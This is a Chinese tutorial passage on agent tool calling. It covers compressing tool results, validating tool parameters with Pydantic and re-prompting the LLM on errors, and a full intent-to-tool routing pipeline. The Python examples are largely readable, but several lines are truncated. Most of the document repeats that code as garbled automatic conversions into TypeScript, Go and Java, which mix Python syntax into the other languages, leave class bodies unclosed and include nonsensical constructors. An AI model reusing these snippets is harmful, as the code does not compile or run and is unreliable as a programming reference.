import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.*;
public class ToolResultCompressor {
private static final ObjectMapper mapper = new ObjectMapper();
private static final Map> KEY_FIELDS_MAP = new HashMap<>();
private static final Map MAX_TOKENS_MAP = new HashMap<>();
static {
KEY_FIELDS_MAP.put("get_weather", Arrays.asList("temperature", "description", "wind_speed"));
KEY_FIELDS_MAP.put("web_search", Arrays.asList("title", "snippet", "url"));
KEY_FIELDS_MAP.put("run_python", Arrays.asList("stdout"));
MAX_TOKENS_MAP.put("get_weather", 200);
MAX_TOKENS_MAP.put("web_search", 300);
MAX_TOKENS_MAP.put("run_python", 400);
}
public Map compress(String toolName, Map result) {
Map compressed = new LinkedHashMap<>();
List keyFields = KEY_FIELDS_MAP.getOrDefault(toolName, Collections.emptyList());
int maxTokens = MAX_TOKENS_MAP.getOrDefault(toolName, 500);
if (!keyFields.isEmpty()) {
for (String field : keyFields) {
if (result.containsKey(field)) {
compressed.put(field, truncate(result.get(field), maxTokens));
}
}
} else {
compressed.putAll(truncateDict(result, maxTokens));
}
int originalTokens = estimateTokens(result);
int compressedTokens = estimateTokens(compressed);
Map meta = new LinkedHashMap<>();
meta.put("tool", toolName);
meta.put("original_tokens", originalTokens);
meta.put("compressed_tokens", compressedTokens);
meta.put("compression_ratio", Math.round((double) compressedTokens / Math.max(originalTokens, 1) * 100.0) / 100.0);
compressed.put("_meta", meta);
return compressed;
}
public String archiveToVectorStore(String toolName, Map result, VectorStore vectorStore, String refId) {
Map data = new LinkedHashMap<>();
data.put("tool", toolName);
data.put("result", result);
data.put("timestamp", java.time.Instant.now().toString());
vectorStore.store(refId, data);
return String.format("[%s结果已归档 | ref=%s | 如需详情可检索]", toolName, refId);
}
private String truncate(Object text, int maxTokens) {
int maxChars = maxTokens * 2;
String str = String.valueOf(text);
return str.length() > maxChars ? str.substring(0, maxChars) + "...[已截断]" : str;
}
private Map truncateDict(Map d, int maxTokens) {
Map result = new LinkedHashMap<>();
int remaining = maxTokens * 2;
for (Map.Entry entry : d.entrySet()) {
String entryStr = entry.getKey() + "=" + entry.getValue();
if (entryStr.length() > remaining) {
result.put(entry.getKey(), String.valueOf(entry.getValue()).substring(0, remaining) + "...[截断]");
break;
}
result.put(entry.getKey(), entry.getValue());
remaining -= entryStr.length();
}
return result;
}
private int estimateTokens(Object obj) {
try { return mapper.writeValueAsString(obj).length() / 2; }
catch (Exception e) { return 0; }
}
}
好的 Agent 不是把所有信息都塞进 Context，而是像人类一样——记要点，存细节。要点放 Context（短期记忆），细节放向量库（长期记忆）。
10.13 Structured Output 与工具调用
Function Calling 天然就是 Structured Output——LLM 输出 JSON 格式的函数调用。但实际场景中，我们还需要对输出做更严格的约束：参数类型校验、必填检查、格式验证。
Pydantic 验证工具参数
LLM 生成的参数可能出错：city 传了数字、date 格式不对、缺少必填参数。用 Pydantic 可以在执行前拦截这些错误：
from pydantic import BaseModel, Field, ValidationError
from typing import Optional
from datetime import datetime
# ===== 工具参数的 Pydantic 模型 =====
class WeatherParams(BaseModel):
city: str = Field(..., description="城市名称", min_length=1, max_length=50)
date: Optional[str] = Field(
None,
description="日期，格式 YYYY-MM-DD",
pattern=r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
)
class PythonExecParams(BaseModel):
code: str = Field(..., description="Python代码", min_length=1)
timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
class SearchParams(BaseModel):
query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
# ===== 验证 + 错误处理 + 重提示 =====
class StructuredToolCaller:
"""结构化工具调用：验证 → 执行 → 重试"""
PARAM_MODELS = {
"get_weather": WeatherParams,
"run_python": PythonExecParams,
"web_search": SearchParams,
}
MAX_RETRIES = 2
def call_tool(self, tool_name: str, raw_arguments: str,
llm_client, tool_executor) -> dict:
"""完整的结构化调用流程"""
for attempt in range(self.MAX_RETRIES + 1):
# ① 尝试解析和验证参数
try:
args_dict = json.loads(raw_arguments)
validated = self.PARAM_MODELStool_name
# 验证通过 → 执行
result = tool_executor(tool_name, validated.model_dump())
return {"success": True, "result": result}
except json.JSONDecodeError as e:
error_msg = f"参数JSON格式错误: {e}"
except ValidationError as e:
# ② Pydantic 校验失败 → 收集具体错误
error_msg = self._format_validation_error(e)
# ③ 校验失败 → 重提示 LLM 修正参数
if attempt str:
"""将 Pydantic 错误格式化为 LLM 可理解的提示"""
errors = []
for err in e.errors():
field = ".".join(str(loc) for loc in err["loc"])
errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors)
def _get_constraints(self, tool_name: str) -> str:
"""返回工具的参数约束描述（给 LLM 的修正指引）"""
model = self.PARAM_MODELS[tool_name]
constraints = []
for name, field in model.model_fields.items():
desc = field.description or ""
if field.is_required():
desc += " [必填]"
constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints)
# ===== 使用示例 =====
caller = StructuredToolCaller()
# LLM 生成了错误参数: city 传了空字符串，date 格式不对
raw_args = '{"city": "", "date": "2026/07/02"}'
result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
# 第1次: Pydantic 校验失败
# ⚠️ 参数校验失败（第1次）:
# 字段 'city': String should have at least 1 character (当前值: )
# 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
# → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
# 第2次: 验证通过 → 执行成功
import {BaseModel, Field, ValidationError} from 'pydantic';
// TypeScript has built-in types, no import needed for Optional
import {datetime} from 'datetime';
// ===== 工具参数的 Pydantic 模型 =====
class WeatherParams {
// city: str = Field(..., description="城市名称", min_length=1, max_length=50)
// date: Optional[str] = Field(
// None,
// description = "日期，格式 YYYY-MM-DD",
// pattern = r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
// )
class PythonExecParams {
// code: str = Field(..., description="Python代码", min_length=1)
// timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
class SearchParams {
// query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
// max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
// ===== 验证 + 错误处理 + 重提示 =====
class StructuredToolCaller {
/** docstring */
static readonly PARAM_MODELS = {;
// "get_weather": WeatherParams,
// "run_python": PythonExecParams,
// "web_search": SearchParams,
// }
static readonly MAX_RETRIES = 2;
// def call_tool(self, tool_name: str, raw_arguments: str,
// llm_client, tool_executor) -> dict:
/** docstring */
for (const attempt of range(self.MAX_RETRIES + 1)) {
// ① 尝试解析和验证参数
try {
// args_dict = json.loads(raw_arguments)
// validated = self.PARAM_MODELStool_name
// 验证通过 → 执行
// result = tool_executor(tool_name, validated.model_dump())
return {"success": true, "result": result};
// except json.JSONDecodeError as e:
// error_msg = f"参数JSON格式错误: {e}"
} catch (ValidationError) {
// ② Pydantic 校验失败 → 收集具体错误
// error_msg = self._format_validation_error(e)
// ③ 校验失败 → 重提示 LLM 修正参数
if (attempt str:
/** docstring */
// errors = []
for (const err of e.errors()) {
// field = ".".join(str(loc) for loc in err["loc"])
// errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors);
// def _get_constraints(self, tool_name: str) -> str:
/** docstring */
// model = self.PARAM_MODELS[tool_name]
// constraints = []
for (const [name, field] of model.model_fields.items()) {
// desc = field.description or ""
if (field.is_required()) {
// desc += " [必填]"
// constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints);
// ===== 使用示例 =====
// caller = StructuredToolCaller()
// LLM 生成了错误参数: city 传了空字符串，date 格式不对
// raw_args = '{"city": "", "date": "2026/07/02"}'
// result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
// 第1次: Pydantic 校验失败
// ⚠️ 参数校验失败（第1次）:
// 字段 'city': String should have at least 1 character (当前值: )
// 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
// → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
// 第2次: 验证通过 → 执行成功
}
package main
import (
"fmt"
"os"
"os/exec"
"strings"
)
// from pydantic import BaseModel, Field, ValidationError
// from typing import Optional
// from datetime import datetime
// ===== 工具参数的 Pydantic 模型 =====
// WeatherParams - CLI Agent class
type WeatherParams struct {
// Python: city: str = Field(..., description="城市名称", min_length=1, max_length=50)
// Python: date: Optional[str] = Field(
// Python: None,
// Python: description="日期，格式 YYYY-MM-DD",
// Python: pattern=r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
// Python: )
// PythonExecParams - CLI Agent class
type PythonExecParams struct {
// Python: code: str = Field(..., description="Python代码", min_length=1)
// Python: timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
// SearchParams - CLI Agent class
type SearchParams struct {
// Python: query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
// Python: max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
// ===== 验证 + 错误处理 + 重提示 =====
// StructuredToolCaller - CLI Agent class
type StructuredToolCaller struct {
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "run_python": PythonExecParams,
// Python: "web_search": SearchParams,
// Python: }
// Python: MAX_RETRIES = 2
// Python: def call_tool(self, tool_name: str, raw_arguments: str,
// Python: llm_client, tool_executor) -> dict:
for _, attempt := range range(self.MAX_RETRIES + 1) {
// ① 尝试解析和验证参数
// try block
// Python: args_dict = json.loads(raw_arguments)
// Python: validated = self.PARAM_MODELStool_name
// 验证通过 → 执行
// Python: result = tool_executor(tool_name, validated.model_dump())
return {"success": true, "result": result}
// except block
// Python: error_msg = f"参数JSON格式错误: {e}"
// except block
// ② Pydantic 校验失败 → 收集具体错误
// Python: error_msg = self._format_validation_error(e)
// ③ 校验失败 → 重提示 LLM 修正参数
if attempt str:
// Python: errors = []
for _, err := range e.errors() {
// Python: field = ".".join(str(loc) for loc in err["loc"])
// Python: errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors)
// Python: def _get_constraints(self, tool_name: str) -> str:
// Python: model = self.PARAM_MODELS[tool_name]
// Python: constraints = []
// Python: for name, field in model.model_fields.items():
// Python: desc = field.description or ""
if field.is_required() {
// Python: desc += " [必填]"
// Python: constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints)
// ===== 使用示例 =====
// Python: caller = StructuredToolCaller()
// LLM 生成了错误参数: city 传了空字符串，date 格式不对
// Python: raw_args = '{"city": "", "date": "2026/07/02"}'
// Python: result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
// 第1次: Pydantic 校验失败
// ⚠️ 参数校验失败（第1次）:
// 字段 'city': String should have at least 1 character (当前值: )
// 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
// → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
// 第2次: 验证通过 → 执行成功
}
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;
// from pydantic import BaseModel, Field, ValidationError
// from typing import Optional
// from datetime import datetime
// ===== 工具参数的 Pydantic 模型 =====
public class WeatherParams {
// Python: city: str = Field(..., description="城市名称", min_length=1, max_length=50)
// Python: date: Optional[str] = Field(
// Python: None,
// Python: description="日期，格式 YYYY-MM-DD",
// Python: pattern=r"^\d{4}-\d{2}-\d{2}$" # 正则约束格式
// Python: )
public class PythonExecParams {
// Python: code: str = Field(..., description="Python代码", min_length=1)
// Python: timeout: Optional[int] = Field(30, description="超时秒数", ge=1, le=300)
public class SearchParams {
// Python: query: str = Field(..., description="搜索关键词", min_length=1, max_length=200)
// Python: max_results: Optional[int] = Field(5, description="最大结果数", ge=1, le=20)
// ===== 验证 + 错误处理 + 重提示 =====
public class StructuredToolCaller {
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "run_python": PythonExecParams,
// Python: "web_search": SearchParams,
// Python: }
// Python: MAX_RETRIES = 2
// Python: def call_tool(self, tool_name: str, raw_arguments: str,
// Python: llm_client, tool_executor) -> dict:
for (var attempt : range(self.MAX_RETRIES + 1)) {
// ① 尝试解析和验证参数
// Python: try:
// Python: args_dict = json.loads(raw_arguments)
// Python: validated = self.PARAM_MODELStool_name
// 验证通过 → 执行
// Python: result = tool_executor(tool_name, validated.model_dump())
return {"success": true, "result": result};
// Python: except json.JSONDecodeError as e:
// Python: error_msg = f"参数JSON格式错误: {e}"
// Python: except ValidationError as e:
// ② Pydantic 校验失败 → 收集具体错误
// Python: error_msg = self._format_validation_error(e)
// ③ 校验失败 → 重提示 LLM 修正参数
if (attempt str:
// Python: errors = []
for (var err : e.errors()) {
// Python: field = ".".join(str(loc) for loc in err["loc"])
// Python: errors.append(f"字段 '{field}': {err['msg']} (当前值: {err.get('input', '未提供')})")
return "\n".join(errors);
// Python: def _get_constraints(self, tool_name: str) -> str:
// Python: model = self.PARAM_MODELS[tool_name]
// Python: constraints = []
// Python: for name, field in model.model_fields.items():
// Python: desc = field.description or ""
if (field.is_required()) {
// Python: desc += " [必填]"
// Python: constraints.append(f" {name} ({field.annotation}): {desc}")
return "\n".join(constraints);
// ===== 使用示例 =====
// Python: caller = StructuredToolCaller()
// LLM 生成了错误参数: city 传了空字符串，date 格式不对
// Python: raw_args = '{"city": "", "date": "2026/07/02"}'
// Python: result = caller.call_tool("get_weather", raw_args, llm_client, weather_executor)
// 第1次: Pydantic 校验失败
// ⚠️ 参数校验失败（第1次）:
// 字段 'city': String should have at least 1 character (当前值: )
// 字段 'date': String should match pattern ^\d{4}-\d{2}-\d{2}$ (当前值: 2026/07/02)
// → 重提示 LLM → LLM 修正为 '{"city": "北京", "date": "2026-07-02"}'
// 第2次: 验证通过 → 执行成功
}
}
输出格式约束技巧
🔧 强制结构化输出的5种技巧
① JSON Schema 约束
Function Calling 自带的 JSON Schema 描述参数类型。最基础也是最有效的约束。
② Pydantic 双重验证
LLM 输出 → JSON Schema 格式校验 → Pydantic 语义校验（正则、范围、必填）。两层过滤，几乎杜绝格式错误。
③ 参数枚举约束
对有限选项的参数使用 enum。如单位参数只允许 ["metric", "imperial"]，LLM 不会输出奇怪值。
④ 错误重提示循环
校验失败时不直接报错，而是把具体错误信息反馈给 LLM，让它自行修正。最多重试 2~3 次，成功率极高。
⑤ 降级兜底
重试次数用尽后，用默认值填充缺失参数或跳过可选参数。不让一个格式错误导致整个 Agent 流程中断。
10.14 实战：构建智能工具路由系统
把 9.10~9.13 的概念串起来，构建一个完整的意图识别 → 工具检索 → 工具调用 → 结果压缩 → 结构化验证全链路 Agent。
"""
SmartToolRouter: 意图识别 → 工具检索 → 参数验证 → 执行 → 结果压缩 全链路
"""
import json
import uuid
from typing import List, Dict, Any, Optional
from enum import Enum
from pydantic import BaseModel, ValidationError
# ===== 9.10 意图识别 =====
class IntentType(Enum):
INFO_QUERY = "信息获取"
CODE_EXEC = "代码执行"
FILE_OP = "文件操作"
COMM_INTERACT = "通信交互"
class Intent(BaseModel):
type: IntentType
text: str
target: str
priority: int = 0
depends_on: Optional[List[str]] = None
class IntentClassifier:
"""意图分类器 — 使用 LLM 做意图识别"""
INTENT_PROMPT = """分析以下用户请求的意图，返回JSON：
请求: "{query}"
请识别：
1. 意图类型: 信息获取/代码执行/文件操作/通信交互
2. 具体目标: 用户想要什么
3. 是否包含多个意图(复合请求)，如有则拆解
返回格式:
{"intents": [{"type": "类型", "text": "原文片段", "target": "目标", "priority": 优先级数字}]}
如果意图间有依赖关系，在depends_on中指明前置意图的target。"""
def classify(self, query: str, llm_client) -> List[Intent]:
prompt = self.INTENT_PROMPT.format(query=query)
response = llm_client.chat(prompt)
parsed = json.loads(response)
intents = [Intent(**i) for i in parsed["intents"]]
return intents
# ===== 9.11 Tool RAG =====
class ToolRAG:
"""向量检索工具描述"""
def __init__(self, vector_store, all_tools: List[Dict]):
self.vector_store = vector_store
self.all_tools = all_tools
# 注册所有工具描述到向量库
for tool in all_tools:
text = self._tool_to_text(tool)
self.vector_store.upsert(tool["function"]["name"], text)
def _tool_to_text(self, tool: Dict) -> str:
f = tool["function"]
text = f"{f['name']}: {f['description']}"
for pname, pinfo in f.get("parameters", {}).get("properties", {}).items():
text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text
def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
"""根据意图检索最相关的工具"""
results = self.vector_store.search(query, top_k=top_k)
tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names]
# ===== 9.13 结构化验证 =====
# 定义参数模型（按工具）
class WeatherParams(BaseModel):
city: str
date: Optional[str] = None
class SearchParams(BaseModel):
query: str
max_results: Optional[int] = 5
class PythonParams(BaseModel):
code: str
timeout: Optional[int] = 30
PARAM_MODELS = {
"get_weather": WeatherParams,
"web_search": SearchParams,
"run_python": PythonParams,
}
# ===== 9.12 结果压缩 =====
class ResultCompressor:
"""工具结果压缩"""
KEY_FIELDS = {
"get_weather": ["temperature", "description", "wind_speed"],
"web_search": ["title", "snippet", "url"],
"run_python": ["stdout"],
}
MAX_CHARS = 500
def compress(self, tool_name: str, result: Any) -> Dict:
keys = self.KEY_FIELDS.get(tool_name, [])
compressed = {}
if isinstance(result, dict) and keys:
for k in keys:
if k in result:
val = str(result[k])
compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
else:
compressed["summary"] = str(result)[:self.MAX_CHARS]
compressed["_meta"] = {
"tool": tool_name,
"ref_id": str(uuid.uuid4()) # 用于向量库归档引用
}
return compressed
# ===== 全链路路由 =====
class SmartToolRouter:
"""智能工具路由系统 — 全链路"""
def __init__(self, llm_client, vector_store, all_tools, tool_executor):
self.llm = llm_client
self.intent_classifier = IntentClassifier()
self.tool_rag = ToolRAG(vector_store, all_tools)
self.result_compressor = ResultCompressor()
self.tool_executor = tool_executor
self.max_retries = 2
def process(self, user_query: str) -> str:
"""完整处理流程"""
# ① 意图识别
intents = self.intent_classifier.classify(user_query, self.llm)
print(f"[意图识别] 检测到 {len(intents)} 个意图:")
for i, intent in enumerate(intents):
print(f" {i+1}. {intent.type.value} → {intent.target}")
# ② 按意图检索候选工具
all_relevant_tools = []
for intent in intents:
tools = self.tool_rag.retrieve(intent.target, top_k=3)
all_relevant_tools.extend(tools)
# 去重
seen = set()
unique_tools = []
for t in all_relevant_tools:
name = t["function"]["name"]
if name not in seen:
seen.add(name)
unique_tools.append(t)
print(f"[工具检索] 命中 {len(unique_tools)} 个候选工具: {[t['function']['name'] for t in unique_tools]}")
# ③ 让 LLM 在候选工具中选择 + 生成参数
# 只传候选工具描述（JIT策略），而非全部工具
tool_call_results = []
for intent in intents:
# 按意图过滤最相关工具
intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
# LLM 选择工具和参数
llm_response = self.llm.call_with_tools(
messages=[{"role": "user", "content": intent.text}],
tools=intent_tools
)
if not llm_response.tool_calls:
# LLM 认为不需要工具 → 直接回答
tool_call_results.append({
"intent": intent.type.value,
"direct_answer": llm_response.content
})
continue
# ④ 结构化验证 + 执行 + 重试
for tool_call in llm_response.tool_calls:
result = self._execute_with_validation(
tool_call.function.name,
tool_call.function.arguments
)
# ⑤ 结果压缩
compressed = self.result_compressor.compress(
tool_call.function.name, result
)
tool_call_results.append({
"intent": intent.type.value,
"tool": tool_call.function.name,
"result": compressed
})
# ⑥ LLM 整合所有结果，生成自然语言回答
final_prompt = f"""用户原始请求: {user_query}
以下是为您收集的工具调用结果:
{json.dumps(tool_call_results, ensure_ascii=False)}
请整合这些结果，给用户一个清晰有用的回答。"""
final_answer = self.llm.chat(final_prompt)
return final_answer
def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
"""参数验证 → 执行 → 重试"""
param_model = PARAM_MODELS.get(tool_name)
for attempt in range(self.max_retries + 1):
try:
args_dict = json.loads(raw_args)
if param_model:
validated = param_model(**args_dict)
args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict)
except (json.JSONDecodeError, ValidationError) as e:
if attempt List[Intent]:
// prompt = self.INTENT_PROMPT.format(query=query)
// response = llm_client.chat(prompt)
// parsed = json.loads(response)
// intents = [Intent(**i) for i in parsed["intents"]]
return intents;
// ===== 9.11 Tool RAG =====
class ToolRAG {
/** docstring */
constructor(vector_store, all_tools: Dict[]) {
// self.vector_store = vector_store
// self.all_tools = all_tools
// 注册所有工具描述到向量库
for (const tool of all_tools) {
// text = self._tool_to_text(tool)
// self.vector_store.upsert(tool["function"]["name"], text)
// def _tool_to_text(self, tool: Dict) -> str:
// f = tool["function"]
// text = f"{f['name']}: {f['description']}"
for (const [pname, pinfo] of f.get("parameters", {}).get("properties", {}).items()) {
// text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text;
// def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
/** docstring */
// results = self.vector_store.search(query, top_k=top_k)
// tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names];
// ===== 9.13 结构化验证 =====
// 定义参数模型（按工具）
class WeatherParams {
// city: str
// date: Optional[str] = None
class SearchParams {
// query: str
// max_results: Optional[int] = 5
class PythonParams {
// code: str
// timeout: Optional[int] = 30
static readonly PARAM_MODELS = {;
// "get_weather": WeatherParams,
// "web_search": SearchParams,
// "run_python": PythonParams,
// }
// ===== 9.12 结果压缩 =====
class ResultCompressor {
/** docstring */
static readonly KEY_FIELDS = {;
// "get_weather": ["temperature", "description", "wind_speed"],
// "web_search": ["title", "snippet", "url"],
// "run_python": ["stdout"],
// }
static readonly MAX_CHARS = 500;
// def compress(self, tool_name: str, result: Any) -> Dict:
// keys = self.KEY_FIELDS.get(tool_name, [])
// compressed = {}
if (isinstance(result, dict) && keys) {
for (const k of keys) {
if (k in result) {
// val = str(result[k])
// compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
} else {
// compressed["summary"] = str(result)[:self.MAX_CHARS]
// compressed["_meta"] = {
// "tool": tool_name,
// "ref_id": str(uuid.uuid4()) # 用于向量库归档引用
// }
return compressed;
// ===== 全链路路由 =====
class SmartToolRouter {
/** docstring */
constructor(llm_client, vector_store, all_tools, tool_executor) {
// self.llm = llm_client
// self.intent_classifier = IntentClassifier()
// self.tool_rag = ToolRAG(vector_store, all_tools)
// self.result_compressor = ResultCompressor()
// self.tool_executor = tool_executor
// self.max_retries = 2
// def process(self, user_query: str) -> str:
/** docstring */
// ① 意图识别
// intents = self.intent_classifier.classify(user_query, self.llm)
console.log(`[意图识别] 检测到 {len(intents)} 个意图:`);
for (const [i, intent] of enumerate(intents)) {
console.log(` {i+1}. {intent.type.value} → {intent.target}`);
// ② 按意图检索候选工具
// all_relevant_tools = []
for (const intent of intents) {
// tools = self.tool_rag.retrieve(intent.target, top_k=3)
// all_relevant_tools.extend(tools)
// 去重
// seen = set()
// unique_tools = []
for (const t of all_relevant_tools) {
// name = t["function"]["name"]
if (name !in seen) {
// seen.add(name)
// unique_tools.append(t)
console.log(`[工具检索] 命中 {len(unique_tools)} 个候选工具: {[t['function']['name'] for t in unique_tools]}`);
// ③ 让 LLM 在候选工具中选择 + 生成参数
// 只传候选工具描述（JIT策略），而非全部工具
// tool_call_results = []
for (const intent of intents) {
// 按意图过滤最相关工具
// intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
// LLM 选择工具和参数
// llm_response = self.llm.call_with_tools(
// messages = [{"role": "user", "content": intent.text}],
// tools = intent_tools
// )
if (!llm_response.tool_calls) {
// LLM 认为不需要工具 → 直接回答
// tool_call_results.append({
// "intent": intent.type.value,
// "direct_answer": llm_response.content
// })
continue;
// ④ 结构化验证 + 执行 + 重试
for (const tool_call of llm_response.tool_calls) {
// result = self._execute_with_validation(
// tool_call.function.name,
// tool_call.function.arguments
// )
// ⑤ 结果压缩
// compressed = self.result_compressor.compress(
// tool_call.function.name, result
// )
// tool_call_results.append({
// "intent": intent.type.value,
// "tool": tool_call.function.name,
// "result": compressed
// })
// ⑥ LLM 整合所有结果，生成自然语言回答
// final_prompt = f"""用户原始请求: {user_query}
// 以下是为您收集的工具调用结果:
// {json.dumps(tool_call_results, ensure_ascii=False)}
// 请整合这些结果，给用户一个清晰有用的回答。"""
// final_answer = self.llm.chat(final_prompt)
return final_answer;
// def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
/** docstring */
// param_model = PARAM_MODELS.get(tool_name)
for (const attempt of range(self.max_retries + 1)) {
try {
// args_dict = json.loads(raw_args)
if (param_model) {
// validated = param_model(**args_dict)
// args_dict = validated.model_dump()
return self.tool_executor(tool_name, args_dict);
// except (json.JSONDecodeError, ValidationError) as e:
if (attempt List[Intent]:
// Python: prompt = self.INTENT_PROMPT.format(query=query)
// Python: response = llm_client.chat(prompt)
// Python: parsed = json.loads(response)
// Python: intents = [Intent(**i) for i in parsed["intents"]]
return intents
// ===== 9.11 Tool RAG =====
// ToolRAG - CLI Agent class
type ToolRAG struct {
func New__init__() *__init__ {
return &__init__{}
}
// Python: self.vector_store = vector_store
// Python: self.all_tools = all_tools
// 注册所有工具描述到向量库
for _, tool := range all_tools {
// Python: text = self._tool_to_text(tool)
// Python: self.vector_store.upsert(tool["function"]["name"], text)
// Python: def _tool_to_text(self, tool: Dict) -> str:
// Python: f = tool["function"]
// Python: text = f"{f['name']}: {f['description']}"
// Python: for pname, pinfo in f.get("parameters", {}).get("properties", {}).items():
// Python: text += f" | {pname}({pinfo.get('type','')}): {pinfo.get('description','')}"
return text
// Python: def retrieve(self, query: str, top_k: int = 5) -> List[Dict]:
// Python: results = self.vector_store.search(query, top_k=top_k)
// Python: tool_names = [r["id"] for r in results]
return [t for t in self.all_tools if t["function"]["name"] in tool_names]
// ===== 9.13 结构化验证 =====
// 定义参数模型（按工具）
// WeatherParams - CLI Agent class
type WeatherParams struct {
// Python: city: str
// Python: date: Optional[str] = None
// SearchParams - CLI Agent class
type SearchParams struct {
// Python: query: str
// Python: max_results: Optional[int] = 5
// PythonParams - CLI Agent class
type PythonParams struct {
// Python: code: str
// Python: timeout: Optional[int] = 30
// Python: PARAM_MODELS = {
// Python: "get_weather": WeatherParams,
// Python: "web_search": SearchParams,
// Python: "run_python": PythonParams,
// Python: }
// ===== 9.12 结果压缩 =====
// ResultCompressor - CLI Agent class
type ResultCompressor struct {
// Python: KEY_FIELDS = {
// Python: "get_weather": ["temperature", "description", "wind_speed"],
// Python: "web_search": ["title", "snippet", "url"],
// Python: "run_python": ["stdout"],
// Python: }
// Python: MAX_CHARS = 500
// Python: def compress(self, tool_name: str, result: Any) -> Dict:
// Python: keys = self.KEY_FIELDS.get(tool_name, [])
// Python: compressed = {}
if isinstance(result, dict) and keys {
for _, k := range keys {
if k in result {
// Python: val = str(result[k])
// Python: compressed[k] = val[:self.MAX_CHARS] if len(val) > self.MAX_CHARS else val
} else {
// Python: compressed["summary"] = str(result)[:self.MAX_CHARS]
// Python: compressed["_meta"] = {
// Python: "tool": tool_name,
// Python: "ref_id": str(uuid.uuid4()) # 用于向量库归档引用
// Python: }
return compressed
// ===== 全链路路由 =====
// SmartToolRouter - CLI Agent class
type SmartToolRouter struct {
func New__init__() *__init__ {
return &__init__{}
}
// Python: self.llm = llm_client
// Python: self.intent_classifier = IntentClassifier()
// Python: self.tool_rag = ToolRAG(vector_store, all_tools)
// Python: self.result_compressor = ResultCompressor()
// Python: self.tool_executor = tool_executor
// Python: self.max_retries = 2
// Python: def process(self, user_query: str) -> str:
// ① 意图识别
// Python: intents = self.intent_classifier.classify(user_query, self.llm)
fmt.Println(f"[意图识别] 检测到 {len(intents)} 个意图:")
// Python: for i, intent in enumerate(intents):
fmt.Println(f" {i+1}. {intent.type.value} → {intent.target}")
// ② 按意图检索候选工具
// Python: all_relevant_tools = []
for _, intent := range intents {
// Python: tools = self.tool_rag.retrieve(intent.target, top_k=3)
// Python: all_relevant_tools.extend(tools)
// 去重
// Python: seen = set()
// Python: unique_tools = []
for _, t := range all_relevant_tools {
// Python: name = t["function"]["name"]
if name not in seen {
// Python: seen.add(name)
// Python: unique_tools.append(t)
fmt.Println(f"[工具检索] 命中 {len(unique_tools)} 个候选工具: {[t['function']['name'] for t in unique_tools]}")
// ③ 让 LLM 在候选工具中选择 + 生成参数
// 只传候选工具描述（JIT策略），而非全部工具
// Python: tool_call_results = []
for _, intent := range intents {
// 按意图过滤最相关工具
// Python: intent_tools = self.tool_rag.retrieve(intent.target, top_k=3)
// LLM 选择工具和参数
// Python: llm_response = self.llm.call_with_tools(
// Python: messages=[{"role": "user", "content": intent.text}],
// Python: tools=intent_tools
// Python: )
if not llm_response.tool_calls {
// LLM 认为不需要工具 → 直接回答
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "direct_answer": llm_response.content
// Python: })
continue
// ④ 结构化验证 + 执行 + 重试
for _, tool_call := range llm_response.tool_calls {
// Python: result = self._execute_with_validation(
// Python: tool_call.function.name,
// Python: tool_call.function.arguments
// Python: )
// ⑤ 结果压缩
// Python: compressed = self.result_compressor.compress(
// Python: tool_call.function.name, result
// Python: )
// Python: tool_call_results.append({
// Python: "intent": intent.type.value,
// Python: "tool": tool_call.function.name,
// Python: "result": compressed
// Python: })
// ⑥ LLM 整合所有结果，生成自然语言回答
// Python: final_prompt = f"""用户原始请求: {user_query}
// Python: 以下是为您收集的工具调用结果:
// Python: {json.dumps(tool_call_results, ensure_ascii=False)}
// Python: 请整合这些结果，给用户一个清晰有用的回答。"""
// Python: final_answer = self.llm.chat(final_prompt)
return final_answer
// Python: def _execute_with_validation(self, tool_name: str, raw_args: str) -> Any:
// Python: param_model = PARAM_MODELS.get(tool_name)
